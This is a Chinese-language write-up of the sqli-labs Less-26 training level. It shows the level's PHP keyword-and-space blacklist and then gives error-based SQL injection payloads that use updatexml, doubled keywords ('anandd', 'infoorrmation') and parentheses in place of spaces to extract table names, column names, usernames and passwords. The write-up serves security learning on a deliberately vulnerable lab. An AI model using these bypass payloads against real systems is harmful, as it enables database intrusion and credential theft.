sqli-labs-Less-26

SQLI-LAPS 实验记录

Less-26

这一关给出的提示信息显示对空格和注释符进行了过滤,但从源码来看,不仅是空格和注释符,还包括'or','and','/'等等,结合上一关的经验,我们保留使用双写绕过的方式,增加以 '()' 来绕过空格的方式进行注入。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
1' anandd (updatexml(1,concat(0x7e,database(),0x7e),1)) anandd '1'='1

结果如图所示,可以看到页面成功返回数据库名称:security。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找表名:

    php 复制代码
    1' anandd (updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e)),1)) anandd '1'='1 
  • 查找列名:

    php 复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'),0x7e),1)) anandd '1'='1

    查找其他数据:

    复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(concat(username,':',passwoorrd))from(security.users)where(id=1)),0x7e),1)) anandd '1'='1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
其实防守也摸鱼4 分钟前
Cylab在线靶场——CTF中的通用技能
linux·数据库·学习·算法·靶场·ctf·学习网络安全
吹什么轩32 分钟前
MySQL:数据库基础
数据库·mysql
内存漫游32 分钟前
Undo、Redo 与事务回滚
数据库
FluxDB39 分钟前
用 Rust + GPUI 重做数据库客户端
数据库·mysql
烬羽44 分钟前
PostgreSQL:AI 时代原生的"隐型"向量数据库 — 用 pgvector 给消息表加上长期记忆
数据库·人工智能·程序员
Yyyyyy~1 小时前
【Mysql】增删查改操作
数据库·mysql
钱栈up2 小时前
前端改了三页、后端也动了,用户说「完全没变化」——我在 116 库上找到的三个真凶
css·数据库
BBmmo2 小时前
MySQL 里大小写不同的邮箱,为什么会撞上唯一索引?
mysql
这个DBA有点耶2 小时前
索引建了查询却更慢——优化器选错索引与Index Merge的隐藏代价
数据库·架构·代码规范
云贝贝贝2 小时前
删了却没变小:PostgreSQL 死元组与表膨胀排查
数据库·postgresql